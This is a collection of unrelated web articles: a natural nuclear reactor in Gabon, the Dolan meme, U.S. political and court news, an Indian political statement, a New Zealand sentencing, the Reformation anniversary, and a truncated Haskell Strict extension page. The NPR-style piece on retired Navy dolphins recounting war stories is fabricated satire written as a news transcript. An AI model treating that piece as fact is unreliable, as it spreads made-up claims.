-Many people think nuclear power is an invention of mankind, and some even think it violates the laws of nature. But nuclear power is in fact a naturally occurring phenomenon, and life could not exist without it. That’s because our sun (and every other star for that matter) is itself a giant power plant, lighting up the solar system through a process known as thermonuclear fusion.  Humans, however, generate power through a different process called nuclear fission, which releases energy by splitting atoms rather than combining them as in the fusion process. No matter how ingenious our race may seem though, even fission reactors are old news to Mother Nature. In a singular but well-documented circumstance, scientists have found evidence that naturally occurring fission reactors were created inside three uranium ore deposits in the west African country of Gabon.  Two billion years ago, the uranium-rich mineral deposits became flooded with groundwater, setting off a self-sustaining nuclear chain reaction. The energy that was subsequently released then raised temperatures enough to begin boiling away the water, but when the mineral deposits eventually cooled down the nuclear reactions would start back up again. By examining the levels of certain isotopes of xenon gas (a byproduct of the uranium fission process) in the surrounding rock, scientists have determined the natural reactor proceeded in this start-stop fashion at intervals of about two and a half hours.  In this manner, the uranium deposits in the Oklo region of Gabon created a natural nuclear power plant that operated for hundreds of thousands of years until most of the fissile uranium was depleted. While a majority of the uranium at Oklo is the non-fissile isotope U238, only about 3% needed to be the fissile isotope U235 for the chain reaction to start. Today, that percent of fissile uranium in the deposits is around 0.7%, indicating that the deposit had sustained reactions for a relatively long period of time. But it was this exact characteristic of the rocks from Oklo that first puzzled scientists.  The low levels of U235 were first noticed in 1972 by employees of the Pierrelatte uranium enrichment facility in France. During routine mass spectrometry analysis of samples from the Oklo mine, it was discovered that the concentration of the fissile uranium isotope differed by three thousandths of a percent (0.003%) from the expected value. This seemingly small difference was significant enough to alert authorities, who were concerned that the missing uranium could be used to develop nuclear weapons. But later that year, scientists found the answer to the two-billion-year-old secret: the world’s first, and only natural, nuclear reactor.
-About  Dolan is an MS Paint web comic series featuring a variety of poorly drawn Disney cartoon characters. The main character Dolan, based on Donald Duck, is often portrayed as a psychotic killer and sex addict.  Origin  According to Uncle Dolan , the comics were originally created during the summer of 2010 by artist Sakolut on the Finnish image board Kuvalauta. Titled “Aku Ankka” (Finnish for "Donald Duck"), the comics featured poorly drawn MS Paint characters and misspelled captions in speech bubbles. The first Dolan comic seem to be posted on early May 2010 on Naurunappula and the Meme Generator pics with the actual Dolan face date to early July 2010 to the creation time of "Akun Neuvo" (Donald's Advice) group on Naurunappula. Following the repeated use of "Dolan" on English imageboards to refer to the character of Donald Duck, the comics eventually became known as "Dolan" comics.  The earliest archived instance in English-language comes from a You Laugh, You Lose thread on 4chan posted on August 12th, 2010. The /r/dolan subreddit was created two days later on August 14th, 2010.  Precursor: Spurdo Spärde  Dolan has many resemblances to Spurdo Spärde, another Finnish webcomic character from Kuvalauta that is meant to represent a poorly drawn version of Pedobear. The character was conceived in a mocking response to the sudden influx of teenage newcomers in June 2009. Aside from their imperfectionist style of drawing, both comics also share similarities in dialogue captions; Spurdo comics often end with the message "t. Spurdo" (Finnish: "regards, Spurdo") as Dolan comics do with "regards, Dolan."  Spread  The Uncle Dolan Show  In August 2011, YouTuber SweederLander launched a web series titled "The Uncle Dolan Show," using various images of comics found on 4chan and text-to-speech narrations of the dialogues. One of the episodes was posted onto eBaumsworld in January 2012.  Popularity Resurgence  Through the rest of 2011 and early 2012, Dolan comics continued to surface on 4chan's /b/ and reblogged through personal blogs on occasions, but the meme stayed mostly dormant. However, beginning in early March 2012, the comics saw a significant resurgence in popularity with a slew of threads popping up on 4chan , the /r/4chan subreddit and Tumblr under the tag #Dolan.  Mainstream Popularity  Single topic blogs like Dolan-Duck and Fuck Yeah Dolan were launched to cater to the rising demand of comics while those who were puzzled by its nonsensical humor began inquiring about its origin and meaning via Yahoo Answers and Reddit. The meme also gained a large following on the BodyBuilding forum, leading to dozens of Dolan-related threads on the site. As of May 2012, the Memegenerator page for Uncle Dolan has more than 3,500 image macro instances, the /r/Dolan subreddit has 21,989 readers and the Facebook page has 96,000 likes.  On Facebook  One of the most popular Dolan pages on Facebook was Spoderman/Spodeymemes, which had over 100k likes on Facebook and posted Spoderman and Dolan content on a daily basis. The Uncle Dolan Show creator Jared Malinowski also had a page called Dolan Duk, that had over 400k likes and was the most liked Dolan page on Facebook prior to being taken down for violating Facebook's community standards. Jared later returned with a new "Dolan Duk" Facebook page and a new Uncle Dolan Show on Youtube returning July 8th, 2016.  1gga  In 2014, an artist on Deviantart known as 1gga started to making HD Dolan comics.  He became known for putting a lot of details into his comics, and is one of the few Dolan makers who remained active over time.  Sharkoon  A German youtuber called Sharkoon is an active Dolan video maker, known for creating high quality videos with original drawings and content; with first Dolan related videos starting to appear since 2013. His series include shows like: "Dolan's funy sowh", "Dolan Shorts" and "Jizzy Laim Refuwes". He also has a comic blog on Tumblr called "Dolanndfriensfuks".  Various Examples  Related Characters  The Disney character Goofy also became a popular subject of MS Paint-style characters, such as the highly suspicious Ferrari Goofy who has elusive interactions with Dolan, as well as “Gooby,” who has also appeared in several comics. The /r/gooby subreddit was created on March 14th, 2012 and YouTuber SweederLander of "The Uncle Dolan Show" launched a spin-off series titled "A Gooby Story" in April.  Other characters include poorly drawn variations of Mickey Mouse, Daffy Duck, Porky Pig and Bugs Bunny.  Everything Went Better Than Expected  A recurring theme in the comic series involves variations of the phrase "everything went better than expected", based on the rage comic character.  Search Interest  External References
-HARRISBURG — The Pennsylvania Press Club served ravioli and salad for lunch to the people attending a speech by Democratic U.S. Senate candidate Katie McGinty.  But McGinty was focused on the "baloney" she says her opponent is serving middle-class voters she will fight to protect in Washington, D.C.  McGinty, former chief of staff to Gov. Tom Wolf, used the bulk of her 2,182-word speech to criticize Republican U.S. Sen. Pat Toomey as a flip-flopping incumbent whose stances on guns, free trade, and the presidential election shift to suit his re-election bid.  Toomey called for gun-control measures after the 2012 Sandy Hook Elementary School shooting massacre. But after his idea failed, she said, he refused to back a Democratic plan to close loopholes that allow potential terrorists to purchase military-grade weapons. On the campaign trail, he has touted his pro-gun stances that are backed by the National Rifle Association, she added.  Toomey has changed his stance on free trade agreements this election after endorsing them in a book he wrote, McGinty said. McGinty also called on Toomey to publicly state whether he supports GOP presidential candidate Donald Trump.  "And even as he tries to sell a new 'election year Pat,' it's baloney," McGinty said, reading from the speech. "And I'm confident Pennsylvanians just aren't going to buy it."  Others appear to be buying some of it, however.  Before McGinty's afternoon speech at a Harrisburg hotel, Toomey picked up another endorsement related to his gun-control efforts.  A gun-safety organization started by former Democratic U.S. Rep. Gabby Giffords of Arizona, who was wounded in a 2011 mass shooting, announced support for Toomey.  An incumbent Republican winning endorsement from a Democrat like Giffords is no small feat, according to a tweet from Jim Burn, former Pennsylvania Democratic Party chairman. "Those underestimating the significance of this endorsement are only trying to fool themselves," Burn tweeted.  Former New York City Mayor Mike Bloomberg, an Independent, also has backed Toomey, citing Toomey's gun-background-check rule he floated with Democratic Sen. Joe Manchin of West Virginia in 2013.  During a question-and-answer session Monday, McGinty said she respects the gun-control efforts of Giffords and Bloomberg. But she stood behind her criticism of Toomey, saying he capitulated too quickly on his Sandy Hook-related bill after it narrowly failed in the Senate and he has not actively tried to get it passed again.  "After tragedy like San Bernardino, like Orlando, the senator was literally begged to reintroduce his legislation and refused, saying let's let the Democrats take the lead," McGinty said.  Next month, Toomey will address the press club and the various business and union groups that support the monthly speakers luncheon. But his campaign did not wait that long to respond to McGinty's charges.  Toomey's campaign sent out a statement touting Giffords' endorsement and accusing McGinty of being a rubber stamp for the Democratic Party and its presidential candidate Hillary Clinton. His campaign said McGinty distorted Toomey's record on firearms legislation, saying he introduced a bill to prevent terrorists from getting guns and he voted for bills and other measures that carried stiff penalties against countries that sought to hurt U.S. jobs by flooding the market with steel and other products.  "On the same day Pat Toomey secured yet another bipartisan endorsement for his independent leadership, this time from Gabby Giffords and Mark Kelly's Americans for Responsible Solutions PAC, Katie McGinty showed why she would be nothing more than a rubber stamp for her party's leadership in Washington," Toomey spokesman Ted Kwong said.  The Toomey-McGinty race is one of the closest watched Senate campaigns in the nation, with more than $52 million being spent on the general and primary elections, according to a Philadelphia Inquirer story citing the nonpartisan Center for Responsive Politics. McGinty currently has an edge in various public opinion polls, mostly because of Trump's sinking polls in his matchup against Clinton.  On Monday, McGinty again sought to link Toomey to Trump. While Toomey is traveling the state touting his stances on public safety, she said, like he is "some kind of G.I. Joe in khakis and a blazer," he has refused to answer voters' questions about whether he endorses Trump.  "It's not too much to ask a United States senator to share his opinion on this most important choice," McGinty said during her speech. "Every time Sen. Toomey responds to a question on this subject with a long, pained exhale before saying he just still needs more time to decide, we know he is full of baloney."  The election is Nov. 8.  steve.esack@mcall.com  Twitter @sesack  717-783-7305
-Heads-up: Parking tickets in New Orleans increase to $30 on Monday  If you find a parking ticket on your vehicle, it's going to cost you more to pay it off.City officials issued reminders that on-street parking tickets will increase beginning Monday. Tickets will increase from $20 to $30.The New Orleans City Council approved the increase earlier this month. Motorists should remember that if tickets are not paid after 30 days, the fine will increase to $60 and $90 after 60 days.Related: Mixed reactions after changes made to parking meter rates, enforcement hoursTickets for parking in a residential parking permit zone without a proper permit will also increase on Monday from $40 to $75.The parking ticket increases come after the city raised parking meter rates across New Orleans. In January, parking in the French Quarter, downtown and the Warehouse District increased to $3 an hour, while the rate increased to $2 an hour everywhere else.Link: Learn more about parking regulations in New Orleans hereEnforcement hours also changed in January. Motorists should remember that metered parking hours are now 8 a.m. to 7 p.m. Monday through Saturday.More information about the changes can be found on the city's website.Keep up with local news, weather and current events with the WDSU app here.  If you find a parking ticket on your vehicle, it's going to cost you more to pay it off.  City officials issued reminders that on-street parking tickets will increase beginning Monday. Tickets will increase from $20 to $30.  The New Orleans City Council approved the increase earlier this month. Motorists should remember that if tickets are not paid after 30 days, the fine will increase to $60 and $90 after 60 days.  Related: Mixed reactions after changes made to parking meter rates, enforcement hours  Tickets for parking in a residential parking permit zone without a proper permit will also increase on Monday from $40 to $75.  The parking ticket increases come after the city raised parking meter rates across New Orleans. In January, parking in the French Quarter, downtown and the Warehouse District increased to $3 an hour, while the rate increased to $2 an hour everywhere else.  Link: Learn more about parking regulations in New Orleans here  Enforcement hours also changed in January. Motorists should remember that metered parking hours are now 8 a.m. to 7 p.m. Monday through Saturday.  More information about the changes can be found on the city's website.  Keep up with local news, weather and current events with the WDSU app here.  AlertMe
-NEW DELHI: With the intolerance debate taking centre-stage in the wake of outrage expressed by a section of intelligentsia and return of awards by writers, filmmakers and historians, a set of intellectuals on Thursday issued a detailed statement in support of Prime Minister Narendra Modi, saying the protests were “much ado about the declining clout of a pampered section”.The statement – ‘Intolerance in Contemporary India’ – was signed by 36 intellectuals by Thursday evening. The signatories include many prominent names associated with top institutions across the country.It said, “India has witnessed a curious spectacle these last few weeks. A section of the nation’s intelligentsia has expressed outrage at a perceived mounting intolerance in society. In the forefront are the usual pallbearers of Indic civilization -- Congressmen of various hues, Marxists, Leninists, even a handful of Maoists.“The target is clear and explicitly stated -- none other than Prime Minister Narendra Modi, who much to their dismay led his party to a clear majority in Parliament. Failure in the elections is now sought to be avenged by other means; it helps if the media (or sections of it) serve as cheerleaders.”Signatories included ICCR president Lokesh Chandra; author, novelist and Sahitya Akademi national fellow S L Bhyrappa; former Pro-VC JNU and chancellor, Mahatma Gandhi Antar-rashtriya Hindi Viswavidyalaya, Wardha Kapil Kapoor; professor emeritus at University of Cambridge and ICHR member Dilip K Chakrabarti; and K Gopinath of IISC, Bengaluru.The signatories appealed to people not to be diverted by the false narrative and rather focus on achieving unity, progress and growth under Modi’s leadership.Though these intellectuals expressed anguish over what happened in Dadri, they questioned how the central government was responsible for this.“The murder of a resident of Uttar Pradesh, allegedly because he consumed beef, is certainly condemnable, but how is the central government to blame? Uttar Pradesh is a state infamous for violence of every kind. Had the Centre intervened and dismissed the state government under Article 356 of the Constitution, for failure to uphold law, the protest brigade would have found another stick with which to beat it. The murders of Dabholkar and Kalburgi happened in states not ruled by the BJP, yet loose language is bandied about,” the statement said.Referring to the intellectuals who have been vocal recently over the Dadri killing, the statement said, “This same intelligentsia chooses not to remember that there has been no justice for victims of the anti-Sikh pogrom of 1984 and the farmers killed in Nandigram in 2007 under Congress and Left governments respectively.“In fact, when the CPM-led Left Front government, professing to serve the ‘proletariat’, fired upon and killed innocent farmers, it was a constituent of UPA-1 at the Centre and a close partner of the Congress party. A similar silence followed when in 2010, the hands of Professor T J Joseph, in then CPM-ruled Kerala, were chopped off, simply because of his belief and articulations. There are other sins of commission, too many to list.”Without taking Irfan Habib’s name, the statement added, “But the equation of the RSS with the terrorist Islamic State by an AMU scholar is simply breathtaking, it embarrassed intellectuals from his own community. As an eminent scholar of Islam, he would be aware of its own recorded history and the IS’s self-documented abuse of human rights, including beheadings and wanton killings, not to mention rape, enslavement et al.”
-The father of dead schoolboy Stephen Dudley says his family were the "the only ones sentenced today".  Speaking outside the High Court in Auckland immediately after the boy who admitted assaulting his son was discharged without conviction, Brent Dudley said it was "no wonder we have a culture of youths getting away with murder".  "It was absolutely brutal what they did to our son," he said.  "They've both had name suppression, they both now walk away without a conviction.  "It's all been one-way."  Stephen, 15, died of a heart condition shortly after being assaulted by two boys, then-aged 15 and 17, after rugby practice in July last year.  Justice Helen Winkelmann said Dudley had a pre-existing, undiagnosed heart condition called cardiac sarcoidosis and his subsequent death could not be taken into account in the sentencing.  The incident was accordingly treated as a low-level "school-yard fight".  The older boy, now 18, appeared for sentence today after pleading guilty to assault with intent to injure.  Justice Winkelmann began her sentencing by indicating she was going to discharge the boy without conviction.  Dudley's father Brent, who had earlier delivered an emotional victim impact statement, erupted in disbelief, yelling from the back of the court: "You're f ... ... joking."  "You've got to be joking, this guy beat my son to death," he yelled to the judge.  As he was led from the court he yelled "That's justice for you in New Zealand. The law's an ass."  Justice Winkelmann said the older boy saw a fight involving Dudley and the younger boy and ran over and hit Dudley in the neck with a swinging right hand. He landed a few other blows before being dragged off the unconscious boy.  Dudley died but an initial charge of manslaughter was dropped after his heart condition was discovered in an autopsy.  The boy pleaded guilty to assault with intent to injure after a charge of manslaughter was dropped.  The younger boy was discharged without conviction.  Brent Dudley told the court his son was a young man who had a love of life and always saw the good in people.  He said Stephen was a peacemaker and not a violent person.  The assault was an "act of cowardice and brutality".  SUPPLIED STEPHEN DUDLEY: Died after being punched at rugby training.  "He was smaller than you and you attacked him from behind," he told the accused.  Dudley said the boy continued the assault even after Stephen was unconscious.  "You are a coward and any thoughts of forgiveness are entirely out of the question."  Dudley said he considered the boy to be "the hand of evil".  "I've recently seen you on TV playing rugby - wasn't that nice for you?" he said.  "I've followed your Facebook page and I don't see much remorse in that."  Dudley said he got up early in the morning and visualised Stephen coming out of his bedroom.  Dudley's sister Talita told the court her brother was an important figure in her life.  He was a "kind, strong, inquisitive young man" who was a role model to his younger brothers.  Stephen's mother Mona Dudley said she "no longer felt safe in parts of our community".  "I have never felt so robbed of my heart and soul," she said.  Defence lawyer John Munro said his client sought a discharge without conviction.  He had "misread a situation in a very tragic way". He had no explanation for his offending and it was the over-reaction of an older boy protecting a younger boy.  Munro said the boy had displayed heartfelt and sincere remorse and had taught the lessons he had learned from the incident to other young people at his church.  Having a conviction for violence on his record could prevent him from realising his goal of becoming a teacher, Munro said.  Though the Crown opposed a discharge, Justice Winkelmann said it was "school-yard violence ... and we don't usually haul those boys before the court".  The judge said they were "punches thrown in a school-yard fight" and had Dudley not died it would have been dealt with by the school.  The fact the 17-year-old was protecting the younger boy, however misguided that was, showed that he had not "maliciously" involved himself in the events, she said.  She discharged the boy without conviction.  Outside court, Brent Dudley recommended people support organisations like the Sensible Sentencing Trust.  "Too many young criminals and thugs are getting away with murder," he said.
-SALT LAKE CITY — Their faces contort as they consider the question, trying and failing to recall what memorable religious event happened 500 years ago. Most participants in Craig Harline's video are stumped about the details of the Reformation, even when he gives them a hint.  "Martin ," says Harline, a professor of history at Brigham Young University.  "Oh, Martin Luther King. He can't be that old. Oh, help me!" says one woman, falling into the same trap as many of the people interviewed.  In just under four minutes, Harline perfectly captures the confusion surrounding the 500th anniversary of the Reformation. While academics and faith leaders revel in the opportunity to talk and write about the global impact of Protestantism, many Americans are confused about what they're supposed to be commemorating.  "U.S. Protestants are not united about — and in some cases, are not even aware of — some of the controversies that were central to the historical schism between Protestantism and Catholicism," according to a recent survey on the Reformation from Pew Research Center.  The Reformation refers to a period of religious upheaval that began in 1517. Catholic monk Martin Luther, and then a number of other theologians after him, questioned the Catholic Church's spiritual authority, urging a return to the Bible. Their teachings resonated with the people and launched the Protestant movement, which spawned hundreds of new Christian denominations.  Although around two-thirds of U.S. adults can correctly identify the Reformation (65 percent) and Luther (67 percent) on multiple-choice questions, many of today's Protestants espouse different beliefs than the men who launched their faith groups, Pew reported.  More than half of Protestants (52 percent) say both good deeds and faith in God are needed to get into heaven, but Luther preached that faith alone (sola fide) led to salvation, the survey noted.  "'The ecumenism of amnesia' is a potential subhead for Pew's research," said Tal Howard, a professor of history and the humanities at Valparaiso University, at the Religion News Association's annual conference last month.  In Harline's video, produced with the help of BYU's Neal A. Maxwell Institute for Religious Scholarship, participants struggle to explain the theology behind indulgences, which helped prompt Luther's rebellion against Catholic authorities. Medieval Catholics could purchase indulgences in order to save deceased loved ones from punishment in purgatory.  "Do you have any idea what an indulgence is?" Harline asks.  "Yeah, I do that every single Saturday with ice cream," says one young woman, who was filmed on the BYU campus.  Exasperated by all she doesn't know about religious history, another woman suggests a new line of questioning.  "Ask me anything you want about the Dallas Cowboys. I can tell you," she says.  Public misunderstanding and even disinterest are facts of life for professors who specialize in the Reformation, said Alec Ryrie, author of "Protestants: The Faith that Made the Modern World." The key is developing a good sense of humor.  "I think the best reaction I had was from somebody who saw online that I had a book coming out called 'Protestants' and didn't know what the word was. They read it as 'Protest Ants' and did a little picture of ants marching and carrying placards," he said.  Ryrie added, "I kind of like that, but I'm afraid that's not what the book is about."  How to learn more  Time is running out to brush up on Reformation facts before the official 500th anniversary on Oct. 31, but there are a variety of resources available for aspiring Protestant scholars.  BYU's Maxwell Institute, which sponsored a Reformation conference last month, has uploaded lectures on this religious event to its podcast channel. Simply search "Maxwell Institute Podcast" through iTunes or visit the organization's YouTube page.  Dozens of new Reformation books have been published in time for this year's festivities. Check your local library for Ryrie's "Protestants," Harline's "A World Ablaze: The Rise of Martin Luther and the Birth of the Reformation" and other recent research.  PBS released a new Reformation documentary, "Martin Luther: The Idea that Changed the World," in September. Check your local PBS schedule for showings.  Throughout October, Religion News Service will be publishing articles on the Reformation by Emily McFarlan Miller, who took a pilgrimage to Luther's homeland this summer. Follow the series on its website.  The Deseret News will also provide ongoing coverage of the Reformation's lessons for the contemporary world. Here are the articles that have already been published:  5 lessons from the 'Martin Luther: Art and the Reformation' exhibit  How the Reformation changed Easter  Why the myth of the Protestant work ethic won't die
-Oral History Project Hopes To Preseve Memories Of Navy Dolphins  Robert Siegel pays a visit to an oral history project that is trying to preserve the memories of the dolphins once used by the U.S. Navy to work on underwater mines.  AUDIE CORNISH, HOST:  Another group of animals is getting far less lethal attention. Last December, we learned that a cadre of military veterans - dolphins - were being taken out of service. The Navy had retained the creatures to patrol for undersea mines and perform other missions.  ROBERT SIEGEL, HOST:  If you saw the 1973 movie "Day of the Dolphin," you'll understand our next story. In the film, actor George C. Scott plays a doctor who has taught his dolphins to speak and understand English.  (SOUNDBITE OF MOVIE, "DAY OF THE DOLPHIN")  SIEGEL: The plot turns on the discovery that the dolphins were about to be used in an assassination attempt. In reality, the Navy dolphins were not hit men. But they did much more than what the government originally reported. Since the Cold War, the U.S. Navy had been training pods of the seagoing mammals to disable mines, recover and neutralize mines and to plant live mines. The animals are being retired now. Advances in robotics technology allow the Navy to use underwater drones to do the same job cheaper and better, but as it turns out, without the memories to share.  My curiosity about these aquatic veterans brought me here to a one-of-a-kind retirement center in the American Midwest. A team of archivists is working around the clock. They are recording and preserving the stories of the work these brave animals did on behalf of this nation. It is here in a cinder-block facility at the outskirts of the Illinois town of Belleville that curator Cory Storr and 34 graduate students in linguistics, library and aquamarine science have set up what amounts to a $40 million marine mammal memory project.  It's a round-the-clock effort to save the war stories of these creatures before they're lost. With a grant from the South Illinois SeaWorld Fund and the Aaron and Myrna Lipshitz Foundation, work is proceeding at a feverish pace. Cory Storr calls it a race against time.  CORY STORR: It's a race against time. These dolphins are reaching their 80's, their 90's. We learned our lesson when we neglected to collect the stories from the Army rescue bunnies used in Korea.  SIEGEL: Belleville, of course, means beautiful city in French, and French itself is the language of love. So it's appropriate that the Navy picked this southern Illinois town - the eighth largest in the state - to be home to retired dolphins. They are housed in what was, until recently, a facility to farm-raise whales. The recession led to that multimillion dollar business shutting down. And now, Belleville's Chamber of Commerce is counting on the dolphin story project to succeed in its wake.  NORM FOSTER: We knew that locating them here would bring enormous goodwill to the city.  SIEGEL: Norm Foster is head of the chamber.  FOSTER: We've been desperate for something like this. Of course, the smell of all the fish is awful, but we think it's worth it.  SIEGEL: Each week, some 250-terabyte hard drives get shipped to Washington to be preserved at the American Marine Mammal Oral History Folklife Center at the Library of Congress. The AMMOHFC may be the largest collection of sea creature speech in the country. Getting the dolphins to recount their tales is tedious work, but graduate students Vera Conroy(ph) and Condoleezza Rubin(ph) say the effort is worth it.  CONDOLEEZZA RUBIN: Really, you know, I think we just kind of bring out some food, a little bit of fish and (unintelligible).  SIEGEL: Condoleezza, do you have that sense that these aren't any ordinary retired dolphins, but these are real cloak and dagger, you know, commando dolphins we're talking about?  RUBIN: Definitely. I mean, they are super friendly just like any other dolphins would be. But they have some history. And we need to be respectful.  SIEGEL: When the project ends, the costly underwater microphones will be sold for scrap. But for now, there is one remaining issue that must be addressed. Again, curator Cory Storr.  STORR: We have no (bleep) idea what these dolphins are saying. They could just be shooting the (bleep) or singing or talking smack about seals. We have no idea.  SIEGEL: So until the aqua folklorists of the future arrive at some sort of algorithm to sort out all the squeaks and bleeps, the benefits of this massive project will not be known. Only time will tell.  CORNISH: Our story, part of our occasional series American Dolphinity(ph), was produced with our partner the Center for Martial Aquatic Journalism.  Copyright © 2013 NPR. All rights reserved. Visit our website terms of use and permissions pages at www.npr.org for further information.  NPR transcripts are created on a rush deadline by Verb8tm, Inc., an NPR contractor, and produced using a proprietary transcription process developed with NPR. This text may not be in its final form and may be updated or revised in the future. Accuracy and availability may vary. The authoritative record of NPR’s programming is the audio record.
-A federal judge on Friday reduced a $1.92 million file sharing verdict to $54,000 after concluding the award for infringing 24 songs was "shocking."  A federal jury in June found Jammie Thomas-Rasset liable in what at the time was the nation’s only Recording Industry Association of America file sharing case against an individual to go to trial. The Minnesota federal jury dinged her $1.92 million for infringing 24 songs. She asked the judge to set aside or reduce that $80,000 per song in damages.  U.S. District Judge Michael Davis agreed on Friday, and said the RIAA may have a retrial if it does not accept his ruling.  "The need for deterrence cannot justify a $2 million verdict for stealing and illegally distributing 24 songs for the sole purpose of obtaining free music," Davis wrote. "Moreover, although plaintiffs were not required to prove their actual damages, statutory damages must bear some relation to actual damages."  The decision came days after the Obama administration supported $675,000 in damages a jury levied against a Boston file sharer in the nation's second and only other file sharing case against an individual to go to trial. Among other things, the administration said the large July award would "deter the millions of users of new media from infringing copyrights in an environment where many violators believe they will go unnoticed."  Davis added that $1.92 million in damages "for stealing 24 songs for personal use is simply shocking."  The new damages amount to three times the minimum of $750 damages the Copyright Act allows. The maximum is $150,000 per infringement, at a judge or jury's discretion.  Thomas-Rasset, now 32, said she doesn't have the money to pay even that reduced judgment, and that her house in Brainerd, Minnesota is homesteaded and protected from a judgment. The mother of four said she is a "very low- to middle-income" earner who works for a local Native American tribe.  "It's not like I have a money tree in the backyard," she said during a brief telephone interview.  The RIAA said it was reviewing the decision and was not prepared to comment.  Here's Thomas-Rasset’s original $1.92 million playlist.  The decision, if it survives, may not have much weight in the file sharing world.  More than a year ago, the record labels announced they were winding down their nearly 6-year-old litigation campaign against individuals and instead were lobbying internet service providers to adopt a program to disconnect music file sharers.  One case in Boston still on the books concerns Joel Tenenbaum, the nation's only other individual to go to trial against the RIAA. Most of the 30,000 cases the RIAA brought against individuals were settled out of court for a few thousand dollars.  Among other things, he is urging the federal judge in his case to reduce the $675,000 July jury verdict to $22,500, the minimum of $750 for 30 tracks.  U.S. District Judge Nancy Gertner, who is presiding over Tenenbaum's case, is not obligated to follow Judge Davis' decision  See Also:
-WASHINGTON (Reuters) - Three years after easing limits on corporate political donations in the Citizens United decision, the U.S. Supreme Court agreed on Tuesday to consider whether to lift caps on how much individuals may contribute to candidates.  An election judge deals with paper work prior to early voting in Silver Spring, Maryland October 27, 2012. REUTERS/Gary Cameron  In a brief order, the court agreed to hear McCutcheon v. Federal Election Commission, a challenge by Alabama businessman Shaun McCutcheon and the Republican National Committee to limits on aggregate donations over a two-year period.  A three-judge panel of the U.S. District Court in Washington, D.C., in September had rejected McCutcheon’s argument that capping donations violated the First Amendment of the U.S. Constitution.  But if the Supreme Court disagrees, it could use the case to change part of its landmark 1976 decision, Buckley v. Valeo, that upheld such caps, which are sums in the mid-five figures.  “It’s not a watershed case in the sense Citizens United was, but it could extend that case’s logic to contribution limits, which could be very significant,” Richard Hasen, a campaign finance expert and law professor at the University of California at Irvine, said in a phone interview.  The Citizens United case was decided in 2010 by a 5-4 vote, and removed limits on independent expenditures made by companies and unions to support or oppose political candidates. The court based its ruling on a First Amendment right to free speech.  Critics of the position taken by the RNC and McCutcheon believe that lifting contribution limits could allow individual donors undue influence.  “If the Supreme Court reverses its past ruling in Buckley, the Court would do extraordinary damage to the nation’s ability to prevent the corruption of federal officeholders and government decisions,” Fred Wertheimer, president of Democracy 21, said in a statement. The group plans to submit a brief urging the court to uphold the limits, he said.  The Democratic National Committee declined to comment.  PETITIONER BACKED REPUBLICANS  McCutcheon is chief executive of Coalmont Electrical Development Co, a general contractor in McCalla, Alabama, located about 20 miles southwest of Birmingham.  He contributed $33,088 to 16 candidates in the 2012 election cycle. Many donations were in increments of $1,776, referring to the year the Declaration of Independence was signed.  McCutcheon had wanted to contribute another $21,312 to 12 more candidates and make donations to the RNC and to committees supporting Republican candidates. But those contributions would have caused McCutcheon to run afoul of a $46,200 limit on contributions to candidate committees.  Another limit capped overall contributions to national political parties, state political parties and non-party political committees at $70,800, so long as no more than $46,200 goes to the latter two groups.  “I am very glad and excited that our case and other cases are moving forward as expected,” McCutcheon said in an email.  DISTORTION ALLEGED  Lifting the limits could allow individuals to funnel more money overall to candidates. For example, an individual could choose to donate $1 million to 400 candidates in $2,500 increments, but not donate $1 million to a single candidate.  “The limits distort the system by forcing people to give money to Super PACs and advocacy groups, when they would rather give money to individual candidates and parties,” James Bopp, a lawyer for McCutcheon and the RNC, said in a phone interview.  “That drives money away from the most accountable and transparent actors in our political system, in favor of entities that are basically unaccountable to the voter,” he added.  Super PACs are a type of political action committee spawned in part by the Citizens United decision.  More than a dozen of these groups spent nearly half a billion dollars to support Republican presidential candidate Mitt Romney.  Some pro-Republican groups raised seven-figure sums monthly from Las Vegas casino mogul Sheldon Adelson and his wife. A Super PAC supporting Democratic President Barack Obama collected million-dollar contributions from Hollywood and Silicon Valley.  The Supreme Court is expected to decide the McCutcheon case in its next term, which starts in October and ends in June 2014.  The case is McCutcheon v. Federal Election Commission, U.S. Supreme Court, No. 12-536.
-Strict & StrictData  This page explains the motivation, semantics, and implementation of the new language extensions StrictData and Strict .  Related tickets: 8347, 11182, 11193  The Problem  High-performance Haskell code (e.g. numeric code) can sometimes be littered with bang patterns, making it harder to read. The reason is that laziness isn't the right default in this particular code, but the programmer has no way to say that except by repeatedly adding bang patterns. This page proposes two new language extensions, StrictData and Strict , that allow the programmer to switch the default on a per module basis.  StrictData  Informally the StrictData language extension switches data type declarations to be strict by default allowing fields to be lazy by adding a ~ in front of the field.  Semantics  When the user writes  data T = C a  we interpret it as if she had written  data T = C !a  Haskell doesn't allow for ~ patterns in data constructor definitions today: we'll add support for such definitions and have it give the current lazy behavior.  The extension only affects definitions in this module.  Strict  Semantics  Informally the Strict language extension switches functions, data types, and bindings to be strict by default, allowing optional laziness by adding ~ in front of a variable. This essentially reverses the present situation where laziness is default and strictness can be optionally had by adding ! in front of a variable.  Strict implies StrictData .  Function definitions. When the user writes f x = ... we interpret it as if she had written f !x = ... Adding ~ in front of x gives the old lazy behavior.  Let/where bindings. When the user writes let x = ... let pat = ... we interpret it as if she had written let !x = ... let !pat = ... Adding ~ in front of x gives the old lazy behavior. Notice that we do not put bangs on nested patterns. For example let (p,q) = if flob then (undefined, undefined) else (True, False) in ... will behave like let !(p,q) = if flob then (undefined, undefined) else (True, False) which will strictly evaluate the RHS, and bind p and q to the components of the pair. But the pair itself is lazy (unless we also compile the Prelude with Strict ; see "Modularity" below). So p and q may end up bound to undefined . See also "Recursive and polymorphic let bindings" below.  Case expressions. The patterns of a case expression get an implicit bang, unless disabled with ~ . For example case x of (a,b) -> rhs is interpreted as case x of !(a,b) -> rhs Since the semantics of pattern matching in case expressions is strict, this usually has no effect whatsoever. But it does make a difference in the degenerate case of variables and newtypes. So case x of y -> rhs is lazy in Haskell, but with Strict is interpreted as case x of !y -> rhs which evalutes x. Similarly, if newtype Age = MkAge Int , then case x of MkAge i -> rhs is lazy in Haskell; but with Strict the added bang makes it strict.  Top level bindings are unaffected by Strict . For example: x = factorial 20 (y,z) = if x > 10 then True else False Here x and the pattern binding (y,z) remain lazy. Reason: there is no good moment to force them, until first use.  Newtypes. There is no effect on newtypes, which simply rename existing types. For example: newtype T = C a f (C x) = rhs1 g !(C x) = rhs2 In ordinary Haskell , f is lazy in its argument and hence in x ; and g is strict in its argument and hence also strict in x . With Strict , both become strict because f 's argument gets an implict bang.  Modularity  The extension only affects definitions in this module. Functions and data types imported from other modules are unaffected. For example, we won't evaluate the argument to Just before applying the constructor. Similarly we won't evaluate the first argument to Data.Map.findWithDefault before applying the function.  This is crucial to preserve correctness. Entities defined in other modules might rely on laziness for correctness (whether functional or performance).  Tuples, lists, Maybe , and all the other types from Prelude continue to 